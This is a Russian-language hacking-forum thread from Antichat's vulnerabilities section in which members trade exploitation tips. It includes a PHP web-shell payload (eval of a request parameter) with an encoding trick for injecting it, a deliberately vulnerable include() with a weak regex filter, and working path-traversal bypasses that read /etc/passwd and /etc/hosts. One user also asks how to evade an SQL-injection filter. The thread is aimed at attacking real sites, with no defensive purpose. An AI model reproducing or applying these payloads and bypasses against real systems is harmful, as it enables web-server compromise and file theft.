Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,412
    Likes Received:
    904
    Reputations:
    863
    свой бек надо в хекс засунуть, т.е место

    сделай так:

     
    _________________________
  2. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Символ ; в GET-запросе является разделителем параметров аналогично символу &.
    Не '<?php eval($_REQUEST[cmd]); ?>', а '<?php eval($_REQUEST[cmd])%3B ?>'
     
    1 person likes this.
  3. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Осмелюсь не согласится, в адресной строке разделитель только и только амперсанд (&)
     
    _________________________
  4. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Согласен. Он наверно имел ввиду SMF.
     
  5. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Expl0ited, пруф - http://en.wikipedia.org/wiki/URI_scheme
    The query is an optional part, separated by a question mark ("?"), that contains additional identification information that is not hierarchical in nature. The query string syntax is not generically defined, but it is commonly organized as a sequence of <key>=<value> pairs, with the pairs separated by a semicolon or an ampersand. For example:
    Semicolon: key1=value1;key2=value2;key3=value3
    Ampersand: key1=value1&key2=value2&key3=value3​


    http://tools.ietf.org/html/rfc1866
     
  6. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    http://forum.antichat.net/view_reputation.php?userid=1845&p=3046274&count=5000
    http://forum.antichat.net/view_reputation.php?userid=1845&p=3046274;count=5000
     
  7. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Ereee, никто не говорил, что на всех серверах.
     
  8. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    M_script, можно живой пример Веб-сервера в котором действительно http распознает в адресной строке символ ; за разделитель?
    Насколько мне известно apache, nginx, iis, zeus, lighthttpd распознают & как разделитель и ; как обычный символ.
     
    _________________________
  9. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    http://auto.mail.ru/article.html?id=111
    http://auto.mail.ru/article.html?a=b&id=111
    http://auto.mail.ru/article.html?a=b;id=111

    Этого хватит? )
     
  10. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Хорошо :) Но всё же стоит отметить что символ ; как разделитель это прерогатива других протоколов (например таких как data), отличных от http(s), в http(s) это индивидуальная (не стандартная) настройка, и случаи такие единичные.
     
    _________________________
  11. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Кстати НЕТ, пожалуй не соглашусь, потому как в данном случае скорее всего используется mod_rewrite в котором собственная система парсинга получаемых данных.
     
    _________________________
  12. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Это не стандарт HTTP-протокола, а рекомендация W3C, связанная со стандартом HTML, чтобы избавиться от 4-х лишних символов при написании пути (&amp;)
    Ты просто не обращал внимания, на крупных серверах встречается часто.


    Разницы нет, как реализовано. Если в RFC HTML прописана настоятельная рекомендация поддерживать разделитель ;, почему ты думаешь, что никто не будет выполнять эту рекомендацию?

    yandex.ru
    rambler.ru
    msn.com
    yahoo.com
     
    #19552 M_script, 3 Mar 2012
    Last edited: 3 Mar 2012
  13. R0nin

    R0nin Member

    Joined:
    11 Jul 2010
    Messages:
    261
    Likes Received:
    24
    Reputations:
    8


    Извините, что лезу в ваш разговор, но хотел бы прокорректировать свой ответ. Один юзер скинул ссылку, где чел с другого форума пишет, что этот фильтр возможно обойти: https://rdot.org/forum/showpost.php?p=24148&postcount=1930
    Поэтому хочу детально ответить на этот вопрос, чтобы быть 100% уверенным в своем ответе проверил на практике:
    Скажем код у нас такой
    PHP:
    <?php
        $inc 
    preg_replace('/\.+\//'''$_GET['include']);
        echo 
    "Path:" $inc "<br><br>";
        include(
    $inc);    
    ?>
    Чел с другого форума утверждает, что можно обойти если задать ..\/..\/..\/etc/hosts я говорю что нельзя. Такое прокатит только у веб сервера, но не у скрипта.
    Задаем
    Code:
    www.site.ru/a/b/c/..\/..\/file.php
    тут можно выйти за пределы папки (a, b, c) потому что так решает веб сервер, а не скрипт.
    Но если задать
    Code:
    www.site.ru/test/page.php?include=..\/..\/..\/etc/hosts
    содержание аргумента паредается как есть, т.е. ..\/..\/..\/etc/hosts, а функция типа include() не станет открывать такой адрес.

    А сейчас внимание!
    Если задать абсолютный путь к файлу этот фильтр можно обойти, т.е.
    Code:
    www.site.ru/test/page.php?include=/etc/hosts
    открывает файл.

    У меня веб сервер на локалхосте (LAMP), стоит с настроиками по умолчанию.
     
    #19553 R0nin, 3 Mar 2012
    Last edited: 3 Mar 2012
    1 person likes this.
  14. trololoman96

    trololoman96 Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    120
    Likes Received:
    34
    Reputations:
    55
    Ответ c411k'а правильный, его способ работает как на виндовсе так и на линуксе без проблем :) Я пробывал его вначале, но сбросил со счетов ибо проверял в консольке типа того
    Code:
    cd ..\/..\/..\/..\/..\/..\/..\/..\/
    
    и нифага оно не переходило в низ по каталогам, потом уже попробывал так
    Code:
    cat ..\/..\/..\/..\/..\/..\/..\/..\/etc/passwd
    
    и файл прочитался :) И инклуд работает, смотри:
    PHP:
    <?php

    $file 
    '..\/..\/..\/..\/..\/..\/..\/..\/.htaccess';

        
    $inc preg_replace('/\.+\//'''$file);
        echo 
    "Path:" $inc "<br><br>";
        include(
    $inc);    


    ?>
    .htaccess лежит в корне диска и прекрасно инклудится.
     
    1 person likes this.
  15. R0nin

    R0nin Member

    Joined:
    11 Jul 2010
    Messages:
    261
    Likes Received:
    24
    Reputations:
    8
    Насчет cat ты прав, действительно работает (что-то новое для меня). include() не работает.
     
  16. pirat0

    pirat0 Member

    Joined:
    16 Jan 2011
    Messages:
    71
    Likes Received:
    6
    Reputations:
    -1
    подскажите как обойти фильтр на from, в sql запросе??
    /*!from*/ - не пускает
    FroM - не пускает
    тоисть version() , database(), user() это все работает,
    строю запрос типа table_name+from пишет: запрос небезопасен и был отвергнут
     
  17. d1v

    d1v Elder - Старейшина

    Joined:
    21 Feb 2009
    Messages:
    676
    Likes Received:
    331
    Reputations:
    120
    http://forum.antichat.ru/showpost.php?p=2303206&postcount=14694
     
    1 person likes this.
  18. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    а зачем вообще ставить ; в этом коде? если такие создаются проблемы из за ;

    ЗЫ на моем опыте я еще ни разу не сталкивался с проблемой c ;

    ЗЫЫ М_скрипт возможно ты в чем то прав, но все же больше склоность к тому что это срабатывает из за mod_rewrite , так как на сколько я знаю разделители это ?(первый параметр) и &, а все остальное .... это уже извращениие.
     
    _________________________
    #19558 HAXTA4OK, 3 Mar 2012
    Last edited: 3 Mar 2012
  19. R0nin

    R0nin Member

    Joined:
    11 Jul 2010
    Messages:
    261
    Likes Received:
    24
    Reputations:
    8
    Кто 100% уверен, ответьте пожалуйста на предыдущий спорный вопрос, насчет путей к файлу. У trololoman96 открывается, у меня нет. У него версия PHP по старше, у меня 5.3.10. Интересно, include должен открывать такие пути или нет?
     
  20. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,412
    Likes Received:
    904
    Reputations:
    863
    Потестил у себя , базовый набор денвера PHP: Version 5.3.3, ОС: Windows
    Файилы инклудится с корня...
     
    _________________________
    1 person likes this.
Thread Status:
Not open for further replies.